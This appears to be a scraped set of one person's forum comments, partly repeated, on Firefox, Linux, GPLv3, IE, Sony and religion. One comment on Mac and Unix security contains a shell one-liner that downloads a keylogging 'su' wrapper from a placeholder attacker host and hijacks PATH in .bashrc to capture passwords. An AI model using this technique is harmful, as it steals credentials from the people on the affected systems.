Sure, but he's probably not quite sane at the moment. If he did not kill his ex-wife, the feelings of confusion and helplessness at being arrested are enough to make anyone behave nutty. People sincerely believe that if they are inoccent, their inoccence will eventually be proved. On the other hand, the human heart is an amazingly base and mysterious thing some times. No matter how smart you are it can work itself into thinking absurd things, like believing that killing your wife would be a good thing. When people are like this they don't behave normally because there is still that bit of humanity that wants to put up a fight. Read Crime and Punishment by Dostoevsky for a good portail of this.
Personally I don't have enough evidence to make a good guess about anything.
It is, overall, better than 1.5, but there's no "gee whiz!" factor this time through.
I think that was the point of the 2.0 release. Same old gecko (important thing for use web devs), but hopefully a slightly more useable and stable web browser. "Gee Whiz!" things can be good, but too many and they end up being a pain for the millions of people are trying to keep up with it. Now that Firefox has gone mainline I think you'll see a lot less bleeding-edge stuff in it. The good part of it is that they are in a lot better posstion to advance web standards now. I can't wait for standardized SVG and MNG support, DOM3 and CSS3 are high on my list too. Enough arm-chair reporting: Qui sera, sera.
P.S. do you know what the proper way to mark up phrases like the above that are stolen from foreign languages?
I've drank Microsoft's kool-aid and you should too.
I agree with most of your comments. Usability is a big problem in linux, and open source in general. Most open source software is not created with the end user in mind. However, I don't think that using Windows is the solution. There are other things to consider to. For one thing, linux is free as in freedom (for me that's a big thing). Linux based software tends towards open standards (another big thing, I've been bitten by MS Word too many times). Also, While Linux is complicated, it tends to be fairly consistant, and the things that I learn are easier to remember. Integration is nice, but it has it's ugly parts too.
It's not the individual 1's and 0's. It's when they get together that you start to see problems. You wouldn't believe the horrible things that can happen when you get a horde of 1's and 0's together.
Moreover, what we used to call a 'hang' seems to be a DoS. In order for firefox to be DoSed, the browser needs to be performing some security-critical service. Firefox is not a service, it doesn't have anything in/etc/init.d/ or whatever your OS does. Firefox hangs.
Actually, there is one use case I can think of where an interuption would be useful: the battery on a laptop is almost dead. In that case, not interupting the user will result in a lot more that the loss of focus. But for the most part I agree with you.
MP3 is not an open standard, if fact it's patented and if you run linux and live in the wrong country, your probably breaking the law. RTF and PDF are not quite open standards either, although their not that bad, and Adobe seems to be fairly interested in maintaing interoptability with the PDF (I'm not so sure about Microsoft and the RTF). And I don't know about SD or Memory Stick.
Nevertheless, this is definitly a breath of fresh air. I'm not going to be buying anything from Sony yet, but I'll have my eyes on them.
LT has made it pretty clear that the spirit of the GPL v3 is not the same as the v2 to him, and that's his objection. I definitely agree with that, even though I strongly dislike the v2 as well.
How so? I'm pretty certain that the GPL stated quite sucintly that it's purpose was to make sure the source was free, available, and usable. The GPLv3 is just an attempt to close up several loopholes that exist in the current version of the license. From what I've heard from Torvalds, it seems that he's realized that Linux is really successful, and he want's to make some quick coin and sit on his laurels for the rest of his life. The problem is that Linus only owns a small part of Linux, so there's no way in hell he can close the source or anything.
Seriously, he should switch over to BSD and leave our penguins alone.
No, it actually is the web designers fault (not that I'm any better than they are). The way that browsers work is based on the assumption that the website won't willing screw itself. By not validation user input and just dumping that junk out as markup, the website is making a big mistake. These are issues with *server-side code* not javascript or browsers.
You can do that but it won't solve the problem. The problem is that input from their users isn't validated properly. There just taking it and using it as raw code. It can happen in a web page, or an applet, or even other kinds of software. I would argue that a web page is actually considerably more secure because the attack is limited to things that that website can access (unless it exploits a browser bug). The solution is fewer idiot programers running around on the web and more code review and such.
This may be because of my background in christian education, but I think that the job of any academic institution is not to produce succesful students, but good ones. Obviously things don't work this way in real life, but I think it is a good goal. We already have enough troglodites running around trying to to make a buck or two. What we need is people with guts and integrity, not the cowards I see trying to see me their various thing-a-ma-bobs. Pomp and wealth are both pretty meaningless anyways: at the end of the chess game, the King and the Pawn both end up in the same box.
The Apple philosophy to security is, if you are running as an admin, then security has ALREADY been breached.
So since the default user on OSX is the admin, than I think it would be reasonable to say that Macs, by default, are insecure.
However, only saying that would be a bit cruel to the Apple crowd because even on more conservative *nix systems there's always a way, if your victim is in the wheel group.
mkdir ~/.pwnd/ cd ~/.pwnd/ wget http://hax0rwebsite/su #keylogging su wrapper chmod +x su PATH="~/.pwnd/:$PATH" echo "PATH=\"~/.pwnd/:$PATH\" >> ~/.bashrc #also add lines for other shells
It's not perfect, but it's good enough to srew over the vast majority of people.
Re:Languages continue to evolve into ... Lisp
on
Python 2.5 Released
·
· Score: 4, Insightful
I don't like the idea that some people make intrisicly "good" programers, and the rest are all somehow "bad"; as if some of us had bigger brains or something. Two years ago, my programming experience was limited to QBasic and a short foray into Visual Basic. I was a bad programmer. Fortunatly for the sake of humanity I stayed away from the computer for the most part at that point, otherwise I'm pretty sure something of mine would have ended up on thedailywtf.com.
Then I started to play around with other languages (PHP, JavaScript, Lisp, and Python) and over the course of a year, two the way I saw programming, changed. No dove came down from heaven with a booming voice. It was just my mind getting practice at building beautiful algorithms. The samething happened to me when I took up piano, singing, woodworking, and many other things.
So the question is not so much are you good enough to learn C, but are you willing to take the time. In C, algorithms tend to be quite a bit more complex than they are in Python, and further removed from our common speach. But it's not impossible.
It's more-or-less OK for admins to write to/Applications
No it's not. Things like this is why you macophiles don't get security. Making system wide changes should not be allowed by default. For example what if I replace Terminal.app with a special Terminal that does keylogging.
Yah, but your a geek. The people I know (and I'm Canadian too), don't know a thing about rootkits and Sony. Geeks make up only a fraction of the buying populace, and while some people listen to us, it's not really enough to make Sony's shareholders care.
Of course, WinFS and other technologies had to go due to this wild change of focus in mid-development
ok, I agree with most of what you said, but WinFS is a totally different animal. It has been in development for over a decade (originally for Windows 95) and there's still no proof of the pudding. Maintaining vapourware for that long is quite impressive.
There are several definitions of a 'cult'. The two most relevant are the popular use (a bunch of people who share weird beliefs) which is more of a sociological thing than a religious one. The second one refers to a group that has broken off from a parent religion.
So Christianity is a cult of Judaism (by the second definition). During the first and second centuries Christianity was commonly refered to as a cult by the Romans (the Jews called it a heresy). Also the leaders of the first century church were either highly devoted to the cause or bumbling idiots because almost all of them got killed because of their beliefs and none of them were materially weathy.
Also the Catholic Church isn't the whole of Christianity, and the Pope is *definitly* not the 'ruler' of Christianity either. The details of all that nonsense is a rather intriguing and sordid ordeal.
Yeah, it did. It was ugly too, pop-up windows all over the place, spybot going nuts. After that I started to play with Gentoo, he's much nicer than that Windows bully.
Many of the effects in compiz and compiz-quinn have been really exagerated (particularly wobbly). I guess this is to make the eye-candy obvious, but it has the effect of getting in the way. Changing setting in gconf-editor really helps.
Well, his opinion of American imperialism is reasoned, factual, and well-stated (remember the letter he wrote a few months ago?), as is his observation of the irony of Christians (purportedly) taking very un-Christian actions.
This is pretty ironic considering that doing Christian evangalisation in countries like Iran means a rather swift visit from the police. After that foreigners are fortunate and get kicked out of the country, alive; native Iranians, not so much. I don't condone the US's imperialism for one moment, but it could be worse.
On of the POP or IMAP prottocols would have seemed much more friendly. Using the SMTP port seems like all they want is to tell us what to think and couldn't care less about us. Probably a Freudian slip. Seriously, someone at Microsoft must have at least had some clue as to what this meant. Then again, mabye not.
The problem with LSB is that there's a number of things that it does poorly. Until it fixes these things, there will be a large number of distros that won't even consider joining. For example, the LSB advocates the rpm for package managment! Both the apt and the portage system have major advantages over rpm. If they can give us a sensible standard than maybe we will be more likely to follow it, but I'm not holding my breath.
Actually, I think that their dropping IE support was a good idea in general. You probably know that IE was catastrophically buggy and missing many features. Version 7 fixes many bugs, but it's still way behind in features too. Well the IE for the Mac was actually less buggy than the one for Windows. The problem was that the bugs were all different. This put the web developers in stinky situation. First they had to get their stuff right, which made it work in all the good browsers. Then the tedious support for IE Win and all it's slightly different versions. Finally if they had time, they would try to support IE Mac. Removing one of these makes things nicer.
The move also will make many more people think twice before making IE-only websites. Nobody cares that there's no IE for Linux, but the fact that theirs none for Macs is important for them*. As a Linux user I don't care that ActiveX doesn't work on the Mac, but the few sites that start to do stuff correctly will make me happy.
* Linux is much more popular outsite of Canada/US. Also, Apple does a lot more marketing and such. I don't know which has a higher market share among desktops, but that explains why Apple has more mindshare and why you keep on hearing those retarded 'Linux isn't read for the desktop' posts.
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Sure, but he's probably not quite sane at the moment. If he did not kill his ex-wife, the feelings of confusion and helplessness at being arrested are enough to make anyone behave nutty. People sincerely believe that if they are inoccent, their inoccence will eventually be proved. On the other hand, the human heart is an amazingly base and mysterious thing some times. No matter how smart you are it can work itself into thinking absurd things, like believing that killing your wife would be a good thing. When people are like this they don't behave normally because there is still that bit of humanity that wants to put up a fight. Read Crime and Punishment by Dostoevsky for a good portail of this.
Personally I don't have enough evidence to make a good guess about anything.
I think that was the point of the 2.0 release. Same old gecko (important thing for use web devs), but hopefully a slightly more useable and stable web browser. "Gee Whiz!" things can be good, but too many and they end up being a pain for the millions of people are trying to keep up with it. Now that Firefox has gone mainline I think you'll see a lot less bleeding-edge stuff in it. The good part of it is that they are in a lot better posstion to advance web standards now. I can't wait for standardized SVG and MNG support, DOM3 and CSS3 are high on my list too. Enough arm-chair reporting: Qui sera, sera.
P.S. do you know what the proper way to mark up phrases like the above that are stolen from foreign languages?
I agree with most of your comments. Usability is a big problem in linux, and open source in general. Most open source software is not created with the end user in mind. However, I don't think that using Windows is the solution. There are other things to consider to. For one thing, linux is free as in freedom (for me that's a big thing). Linux based software tends towards open standards (another big thing, I've been bitten by MS Word too many times). Also, While Linux is complicated, it tends to be fairly consistant, and the things that I learn are easier to remember. Integration is nice, but it has it's ugly parts too.
It's not the individual 1's and 0's. It's when they get together that you start to see problems. You wouldn't believe the horrible things that can happen when you get a horde of 1's and 0's together.
Moreover, what we used to call a 'hang' seems to be a DoS. In order for firefox to be DoSed, the browser needs to be performing some security-critical service. Firefox is not a service, it doesn't have anything in /etc/init.d/ or whatever your OS does. Firefox hangs.
Actually, there is one use case I can think of where an interuption would be useful: the battery on a laptop is almost dead. In that case, not interupting the user will result in a lot more that the loss of focus. But for the most part I agree with you.
MP3 is not an open standard, if fact it's patented and if you run linux and live in the wrong country, your probably breaking the law. RTF and PDF are not quite open standards either, although their not that bad, and Adobe seems to be fairly interested in maintaing interoptability with the PDF (I'm not so sure about Microsoft and the RTF). And I don't know about SD or Memory Stick.
Nevertheless, this is definitly a breath of fresh air. I'm not going to be buying anything from Sony yet, but I'll have my eyes on them.
How so? I'm pretty certain that the GPL stated quite sucintly that it's purpose was to make sure the source was free, available, and usable. The GPLv3 is just an attempt to close up several loopholes that exist in the current version of the license. From what I've heard from Torvalds, it seems that he's realized that Linux is really successful, and he want's to make some quick coin and sit on his laurels for the rest of his life. The problem is that Linus only owns a small part of Linux, so there's no way in hell he can close the source or anything.
Seriously, he should switch over to BSD and leave our penguins alone.
No, it actually is the web designers fault (not that I'm any better than they are). The way that browsers work is based on the assumption that the website won't willing screw itself. By not validation user input and just dumping that junk out as markup, the website is making a big mistake. These are issues with *server-side code* not javascript or browsers.
You can do that but it won't solve the problem. The problem is that input from their users isn't validated properly. There just taking it and using it as raw code. It can happen in a web page, or an applet, or even other kinds of software. I would argue that a web page is actually considerably more secure because the attack is limited to things that that website can access (unless it exploits a browser bug). The solution is fewer idiot programers running around on the web and more code review and such.
I don't see it as being any weirder than saying that I own a particular chunk of dirt and the pile of sticks (house) on top of it.
I don't actually own any land or a house, but if I did.
This may be because of my background in christian education, but I think that the job of any academic institution is not to produce succesful students, but good ones. Obviously things don't work this way in real life, but I think it is a good goal. We already have enough troglodites running around trying to to make a buck or two. What we need is people with guts and integrity, not the cowards I see trying to see me their various thing-a-ma-bobs. Pomp and wealth are both pretty meaningless anyways: at the end of the chess game, the King and the Pawn both end up in the same box.
So since the default user on OSX is the admin, than I think it would be reasonable to say that Macs, by default, are insecure.
However, only saying that would be a bit cruel to the Apple crowd because even on more conservative *nix systems there's always a way, if your victim is in the wheel group.
It's not perfect, but it's good enough to srew over the vast majority of people.I don't like the idea that some people make intrisicly "good" programers, and the rest are all somehow "bad"; as if some of us had bigger brains or something. Two years ago, my programming experience was limited to QBasic and a short foray into Visual Basic. I was a bad programmer. Fortunatly for the sake of humanity I stayed away from the computer for the most part at that point, otherwise I'm pretty sure something of mine would have ended up on thedailywtf.com.
Then I started to play around with other languages (PHP, JavaScript, Lisp, and Python) and over the course of a year, two the way I saw programming, changed. No dove came down from heaven with a booming voice. It was just my mind getting practice at building beautiful algorithms. The samething happened to me when I took up piano, singing, woodworking, and many other things.
So the question is not so much are you good enough to learn C, but are you willing to take the time. In C, algorithms tend to be quite a bit more complex than they are in Python, and further removed from our common speach. But it's not impossible.
Yah, but your a geek. The people I know (and I'm Canadian too), don't know a thing about rootkits and Sony. Geeks make up only a fraction of the buying populace, and while some people listen to us, it's not really enough to make Sony's shareholders care.
ok, I agree with most of what you said, but WinFS is a totally different animal. It has been in development for over a decade (originally for Windows 95) and there's still no proof of the pudding. Maintaining vapourware for that long is quite impressive.
There are several definitions of a 'cult'. The two most relevant are the popular use (a bunch of people who share weird beliefs) which is more of a sociological thing than a religious one. The second one refers to a group that has broken off from a parent religion. So Christianity is a cult of Judaism (by the second definition). During the first and second centuries Christianity was commonly refered to as a cult by the Romans (the Jews called it a heresy). Also the leaders of the first century church were either highly devoted to the cause or bumbling idiots because almost all of them got killed because of their beliefs and none of them were materially weathy. Also the Catholic Church isn't the whole of Christianity, and the Pope is *definitly* not the 'ruler' of Christianity either. The details of all that nonsense is a rather intriguing and sordid ordeal.
Yeah, it did. It was ugly too, pop-up windows all over the place, spybot going nuts. After that I started to play with Gentoo, he's much nicer than that Windows bully.
Many of the effects in compiz and compiz-quinn have been really exagerated (particularly wobbly). I guess this is to make the eye-candy obvious, but it has the effect of getting in the way. Changing setting in gconf-editor really helps.
This is pretty ironic considering that doing Christian evangalisation in countries like Iran means a rather swift visit from the police. After that foreigners are fortunate and get kicked out of the country, alive; native Iranians, not so much. I don't condone the US's imperialism for one moment, but it could be worse.
On of the POP or IMAP prottocols would have seemed much more friendly. Using the SMTP port seems like all they want is to tell us what to think and couldn't care less about us. Probably a Freudian slip. Seriously, someone at Microsoft must have at least had some clue as to what this meant. Then again, mabye not.
The problem with LSB is that there's a number of things that it does poorly. Until it fixes these things, there will be a large number of distros that won't even consider joining. For example, the LSB advocates the rpm for package managment! Both the apt and the portage system have major advantages over rpm. If they can give us a sensible standard than maybe we will be more likely to follow it, but I'm not holding my breath.
Actually, I think that their dropping IE support was a good idea in general. You probably know that IE was catastrophically buggy and missing many features. Version 7 fixes many bugs, but it's still way behind in features too. Well the IE for the Mac was actually less buggy than the one for Windows. The problem was that the bugs were all different. This put the web developers in stinky situation. First they had to get their stuff right, which made it work in all the good browsers. Then the tedious support for IE Win and all it's slightly different versions. Finally if they had time, they would try to support IE Mac. Removing one of these makes things nicer.
The move also will make many more people think twice before making IE-only websites. Nobody cares that there's no IE for Linux, but the fact that theirs none for Macs is important for them*. As a Linux user I don't care that ActiveX doesn't work on the Mac, but the few sites that start to do stuff correctly will make me happy.
* Linux is much more popular outsite of Canada/US. Also, Apple does a lot more marketing and such. I don't know which has a higher market share among desktops, but that explains why Apple has more mindshare and why you keep on hearing those retarded 'Linux isn't read for the desktop' posts.